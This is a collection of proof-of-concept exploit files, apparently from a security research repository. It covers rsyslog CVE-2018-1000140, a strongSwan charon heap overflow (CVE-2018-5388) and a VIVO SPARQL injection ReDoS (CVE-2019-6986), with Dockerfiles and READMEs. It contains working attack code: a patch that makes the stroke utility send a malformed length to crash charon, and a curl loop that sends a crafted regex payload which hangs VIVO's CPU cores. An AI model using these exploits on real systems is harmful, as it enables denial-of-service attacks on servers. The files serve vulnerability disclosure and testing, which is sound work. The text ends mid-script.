/rsyslog/CVE-2018-1000140_snprintf_librelp/malicious/kevcertz/create-certz.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mkdir new_certz 4 | touch root-ca.index 5 | touch root-ca.index.attr 6 | echo 00 > root-ca.crlnum 7 | openssl rand -hex 16 > root-ca.serial 8 | 9 | # Create signing request for the client 10 | openssl req -config client.config -new -sha256 -newkey rsa:2048 -nodes \ 11 | -keyout client-key.pem -days 365 -out client-request.pem 12 | 13 | # Create signed certificate for the client 14 | openssl ca -config client.config -batch -days 365 -extensions client_ext -out client-cert.pem -infiles client-request.pem 15 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/malicious/rsyslog-client.conf: -------------------------------------------------------------------------------- 1 | module(load="imuxsock") 2 | module(load="omrelp") 3 | module(load="imtcp") 4 | input(type="imtcp" port="514") 5 | action(type="omrelp" target="172.25.0.10" port="2514" 6 | tls="on" 7 | tls.caCert="/opt/work/benevolent/certs/root-ca.pem" 8 | tls.myCert="/opt/work/malicious/kevcertz/client-cert.pem" 9 | tls.myPrivKey="/opt/work/malicious/kevcertz/client-key.pem" 10 | tls.authmode="name" 11 | tls.permittedpeer=["server.wholesomecomputing.com"] 12 | ) 13 | -------------------------------------------------------------------------------- /strongSwan/CVE-2018-5388/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:artful 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | openjdk-8-jdk git-core gnupg flex bison gperf build-essential \ 6 | zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 \ 7 | lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev ccache \ 8 | libgl1-mesa-dev libxml2-utils xsltproc unzip python gdb python3 \ 9 | tmux screen pkg-config libtool automake sudo libgmp-dev iptables \ 10 | xl2tpd module-init-tools supervisor emacs gettext libcap-dev 11 | 12 | # Create a vpn group. 13 | RUN groupadd vpn 14 | RUN useradd -g vpn vpn 15 | 16 | WORKDIR /opt/work 17 | RUN git clone git://git.strongswan.org/strongswan.git 18 | RUN cd strongswan && git checkout 5.6.2 && ./autogen.sh && \ 19 | ./configure --with-capabilities=libcap --with-user=vpn --with-group=vpn && \ 20 | make && make install 21 | 22 | # Create an 'attacker' user. This user will be a member of the vpn 23 | # group, but does not get superuser privileges. 24 | RUN adduser attacker 25 | RUN adduser attacker vpn 26 | 27 | # Switch to the attacker user and create the exploit code. 28 | USER attacker 29 | WORKDIR /home/attacker/ 30 | 31 | # Get a copy of the strongswan codebase for the "attacker" user. This 32 | # is just a lazy way to write the code for the exploit. The only thing 33 | # that we will use from this copy of the code is the "stroke" utility. 34 | # We will modify the code slightly and use stroke to send a malicious 35 | # message to the charon daemon. 36 | RUN git clone git://git.strongswan.org/strongswan.git 37 | COPY stroke_patch.txt /home/attacker/stroke_patch.txt 38 | RUN cd strongswan && git checkout 5.6.2 && \ 39 | git apply ../stroke_patch.txt && \ 40 | ./autogen.sh && ./configure && make 41 | 42 | # Switch back to the root user so that we can start ipsec when we start 43 | # the container. 44 | USER root 45 | -------------------------------------------------------------------------------- /strongSwan/CVE-2018-5388/README.md: -------------------------------------------------------------------------------- 1 | # Buffer overflow in strongSwan VPN's charon server (CVE-2018-5388) 2 | 3 | This directory contains a proof-of-concept exploit for a buffer overflow vulnerability in [strongSwan](https://www.strongswan.org/) VPN's [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The vulnerability was discovered by Kevin Backhouse of the Semmle Security Research Team and has been assigned [CVE-2018-5388](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5388). It was fixed in strongSwan version [5.6.3](https://www.strongswan.org/blog/2018/05/28/strongswan-5.6.3-released.html), which was released on 28 May 2018. 4 | 5 | # The bug 6 | 7 | The bug is in this code ([src/libcharon/plugins/stroke/stroke_socket.c:634](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L634)): 8 | 9 | ``` 10 | if (!stream->read_all(stream, (char*)msg + sizeof(len), len - sizeof(len))) 11 | ``` 12 | 13 | The value of `len` is read from a socket (on [line 621](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L621)), so it could be vulnerable to attack. The code does not check that `len >= sizeof(len)`, so the calculation of `len - sizeof(len)` could overflow negatively and produce a very large value (of type `size_t`). This will cause a heap buffer overflow in the call to `read_all`, because the size of the `msg` buffer is very small and `read_all` will keep reading data from the socket until the connection is closed (or it reads 2^64 bytes). 14 | 15 | # Running the PoC 16 | 17 | To demonstrate the PoC in a safe environment, we will run the vulnerable version of strongSwan in a [docker](https://www.docker.com/) container. 18 | 19 | First, build the docker image: 20 | 21 | ``` 22 | docker build . -t strongswan 23 | ``` 24 | 25 | As you can see from the Dockerfile, we have installed strongSwan version 5.6.2. We have also created a user named "attacker". This user is a member of the `vpn` group, so that they can use the [stroke](https://wiki.strongswan.org/projects/strongswan/wiki/IpsecStroke) utility to query the [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The attacker does not get other special privileges though. For example, they do not have superuser privileges. 26 | 27 | Now start the container: 28 | 29 | ``` 30 | docker run --privileged -i -t strongswan 31 | ``` 32 | 33 | The `--privileged` flag is needed to start `ipsec` inside the container. Do this now: 34 | 35 | ``` 36 | ipsec start 37 | ``` 38 | 39 | Now switch to the attacker user account: 40 | 41 | ``` 42 | su - attacker 43 | ``` 44 | 45 | And run the attack: 46 | 47 | ``` 48 | ./strongswan/src/stroke/.libs/stroke statusall 49 | ``` 50 | 51 | You will see an error message like this: 52 | 53 | ``` 54 | ipsec_starter[26]: charon has died -- restart scheduled (5sec) 55 | ``` 56 | The charon daemon crashed due to a buffer overflow which we triggered by sending it a malicious message. 57 | -------------------------------------------------------------------------------- /strongSwan/CVE-2018-5388/stroke_patch.txt: -------------------------------------------------------------------------------- 1 | diff --git a/src/stroke/stroke.c b/src/stroke/stroke.c 2 | index 6571815e5..7b79c3aaf 100644 3 | --- a/src/stroke/stroke.c 4 | +++ b/src/stroke/stroke.c 5 | @@ -78,6 +78,7 @@ static int send_stroke_msg(stroke_msg_t *msg) 6 | stream_t *stream; 7 | char *uri, buffer[512], *pass; 8 | int count; 9 | + size_t oldlen; 10 | 11 | if (msg->length == UINT16_MAX) 12 | { 13 | @@ -98,13 +99,16 @@ static int send_stroke_msg(stroke_msg_t *msg) 14 | return -1; 15 | } 16 | 17 | - if (!stream->write_all(stream, msg, msg->length)) 18 | + oldlen = msg->length; 19 | + msg->length = 1; 20 | + if (!stream->write_all(stream, msg, oldlen)) 21 | { 22 | fprintf(stderr, "sending stroke message failed\n"); 23 | stream->destroy(stream); 24 | free(msg); 25 | return -1; 26 | } 27 | + exit(0); 28 | 29 | while ((count = stream->read(stream, buffer, sizeof(buffer)-1, TRUE)) > 0) 30 | { 31 | -------------------------------------------------------------------------------- /vivo-project/CVE-2019-6986/README.md: -------------------------------------------------------------------------------- 1 | # SPARQL Injection in VIVO (CVE-2019-6986) 2 | 3 | This directory contains a proof-of-concept exploit for a SPARQL injection vulnerability in [VIVO](https://duraspace.org/vivo/). This vulnerability has been assigned [CVE-2019-6986](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6986). The exploit targets [this line of code](https://github.com/vivo-project/Vitro/blob/6e717446b4a1b3da0fcf0130f3d0cfd1ce8b75ed/api/src/main/java/edu/cornell/mannlib/vitro/webapp/dao/jena/IndividualSDB.java#L155). It triggers a denial of service by generating a query containing a [ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). 4 | 5 | ## Network setup 6 | 7 | Create a docker network bridge, to simulate a network with two separate computers. 8 | 9 | ``` 10 | docker network create -d bridge --subnet 172.18.0.0/16 vivo-demo-network 11 | ``` 12 | 13 | ## Vivo server setup 14 | 15 | Build the docker image: 16 | 17 | ``` 18 | docker build vivo-server -t vivo-server --build-arg UID=`id -u` 19 | ``` 20 | 21 | Start the container: 22 | 23 | ``` 24 | docker run --rm --network vivo-demo-network --ip=172.18.0.10 -h vivo-server --publish 8000:8000 --publish 8080:8080 -i -t vivo-server 25 | ``` 26 | 27 | Inside the container, start VIVO. 28 | 29 | ``` 30 | sudo ./init_mysql.sh # password is: x 31 | /usr/local/tomcat/bin/catalina.sh start 32 | ``` 33 | 34 | It seems to take Vivo at least 10 minutes to initialize itself. You can monitor its progress in this log file: 35 | 36 | ``` 37 | /usr/local/tomcat/logs/vivo.all.log 38 | ``` 39 | 40 | Vivo isn't ready until you see lines like this at the bottom of `vivo.all.log`: 41 | 42 | ``` 43 | 2019-01-17 22:19:31,004 INFO [IndexHistory] STARTUP, 1/17/19, 10:17 PM, [] 44 | 2019-01-17 22:19:31,008 INFO [FreemarkerSetup] Freemarker templating system initialized. 45 | 2019-01-17 22:19:31,122 INFO [VClassGroupCache] VClassGroupCache added to context 46 | 2019-01-17 22:19:31,123 INFO [VClassGroupCache] VClassGroupCache set to listen to events from IndexBuilder 47 | 2019-01-17 22:19:31,126 INFO [StartupManager] Called 'contextInitialized' on all listeners. 48 | 2019-01-17 22:19:31,330 INFO [JSessionStripFilter] Filtering: no jsessionids will be generated. 49 | ``` 50 | 51 | At this point, you can check that Vivo is running by visiting [http://127.0.0.1:8080/vivo](http://127.0.0.1:8080/vivo) in your browser. (We exposed port 8080 on the docker container.) To login, the username is `vivo_root@mydomain.edu` and the password is `rootPassword`. 52 | 53 | # Tomcat debugging 54 | 55 | You can debug the application with Eclipse, even when it is running in docker. To do this you need to also bind port 8000 when you start docker. (This was already included in the instructions above.) 56 | 57 | Inside docker, start tomcat like this: 58 | 59 | ``` 60 | export JPDA_ADDRESS=0.0.0.0:8000 61 | export JPDA_TRANSPORT=dt_socket 62 | /usr/local/tomcat/bin/catalina.sh jpda start 63 | ``` 64 | 65 | Next you need to get the VIVO source code on your main machine and build it. The purpose of this is primarily to get maven to download all the dependencies so that Eclipse can see them. 66 | 67 | ``` 68 | git clone https://github.com/vivo-project/VIVO.git 69 | git clone https://github.com/vivo-project/Vitro.git 70 | cd VIVO/ 71 | mvn package -DskipTests 72 | mvn eclipse:eclipse 73 | ``` 74 | 75 | Then import the VIVO and Vitro projects into Eclipse. Inside Eclipse, create a remote debug configuration, connecting to localhost:8000 (which is the default.) 76 | 77 | ## Attacker setup 78 | 79 | Build the docker image: 80 | 81 | ``` 82 | docker build vivo-attacker -t vivo-attacker 83 | ``` 84 | 85 | Start the container: 86 | 87 | ``` 88 | docker run --rm --network vivo-demo-network --ip=172.18.0.11 -h vivo-attacker -i -t vivo-attacker 89 | ``` 90 | 91 | Inside the container, use `post.sh` to send 8 malicious request to VIVO. 92 | 93 | ``` 94 | ./post.sh 95 | ``` 96 | 97 | The `curl` command inside `post.sh` never receives a response from the VIVO server, so you will see 8 timeout error messages on the command line: 98 | 99 | ``` 100 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 101 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 102 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 103 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 104 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 105 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 106 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 107 | curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received 108 | ``` 109 | 110 | VIVO is now hogging 8 CPU cores. 111 | -------------------------------------------------------------------------------- /vivo-project/CVE-2019-6986/vivo-attacker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y curl tmux emacs net-tools ssh sudo 5 | 6 | # Create user account for the attacker. 7 | RUN adduser attacker --disabled-password 8 | 9 | # Copy the exploit PoC into the attacker's home directory. 10 | COPY post.sh /home/attacker/post.sh 11 | RUN chown attacker:attacker /home/attacker/post.sh 12 | 13 | # Switch over to the 'attacker' user, since root access is no longer required 14 | USER attacker 15 | WORKDIR /home/attacker 16 | -------------------------------------------------------------------------------- /vivo-project/CVE-2019-6986/vivo-attacker/post.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for i in {1..8} 3 | do 4 | curl -m 1 http://172.18.0.10:8080/vivo/individual?uri=http%3A%2F%2Fvivoweb.org%2Fontology%2Fcore%23FacultyMember%3E%20%3Fp%20%3Fo%20.%20FILTER%20regex%28%22aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%21%22%2C%20%22%28.%2Aa%29%7B50%7D%22%29%20%7D%20%23%20 5 | done 6 | -------------------------------------------------------------------------------- /vivo-project/CVE-2019-6986/vivo-server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | maven git curl wget zip unzip mysql-server \ 6 | tmux sudo emacs maven openssh-server net-tools x11-apps \ 7 | default-jdk openjdk-11-dbg 8 | 9 | # Workaround for https://serverfault.com/questions/870568 10 | # VOLUME /var/lib/mysql 11 | 12 | ARG UID=1000 13 | 14 | # Create a non-root user account to run Struts. 15 | RUN adduser vivo --disabled-password --uid $UID 16 | 17 | # Grant the 'vivo' user sudo access, so that we can start sshd. 18 | RUN adduser vivo sudo 19 | RUN echo "vivo:x" | chpasswd 20 | 21 | # Get Tomcat. 22 | RUN cd /tmp && \ 23 | wget http://www-eu.apache.org/dist/tomcat/tomcat-9/v9.0.14/bin/apache-tomcat-9.0.14.tar.gz && \ 24 | tar xf apache-tomcat-9.0.14.tar.gz && \ 25 | mv apache-tomcat-9.0.14 /usr/local/tomcat && \ 26 | rm apache-tomcat-9.0.14.tar.gz 27 | 28 | COPY init_mysql.sh /home/vivo/init_mysql.sh 29 | RUN chown vivo:vivo /home/vivo/init_mysql.sh 30 | 31 | RUN mkdir -p /usr/local/vivo/home 32 | RUN chown -R vivo:vivo /usr/local/tomcat 33 | RUN chown -R vivo:vivo /usr/local/vivo 34 | 35 | # Switch over to the 'vivo' user, since root access is no longer required 36 | USER vivo 37 | WORKDIR /home/vivo 38 | 39 | # Create an ssh authorized keys file. Systems administrators would add their 40 | # public key to this file so that they can login remotely with ssh. 41 | RUN mkdir -m 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys 42 | 43 | # Get Vivo source code. 44 | RUN git clone https://github.com/vivo-project/Vitro.git Vitro 45 | RUN cd Vitro && git checkout 6e717446b4a1b3da0fcf0130f3d0cfd1ce8b75ed 46 | RUN git clone https://github.com/vivo-project/VIVO.git VIVO 47 | RUN cd VIVO && git checkout 3da53e27fe1020ffd3157d288f6fe39ec15f87b2 48 | 49 | # Build Vivo. 50 | RUN cd VIVO && mvn install -s installer/example-settings.xml 51 | 52 | RUN cd /usr/local/vivo/home/config && \ 53 | cp example.runtime.properties runtime.properties && \ 54 | cp example.applicationSetup.n3 applicationSetup.n3 55 | -------------------------------------------------------------------------------- /vivo-project/CVE-2019-6986/vivo-server/init_mysql.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [[ $EUID -ne 0 ]]; then 4 | echo "This script must be run as root" 5 | exit 1 6 | fi 7 | 8 | # Workaround for this issue: https://serverfault.com/questions/870568 9 | chown -R mysql:mysql /var/lib/mysql 10 | 11 | service mysql start 12 | 13 | Commands=$(cat <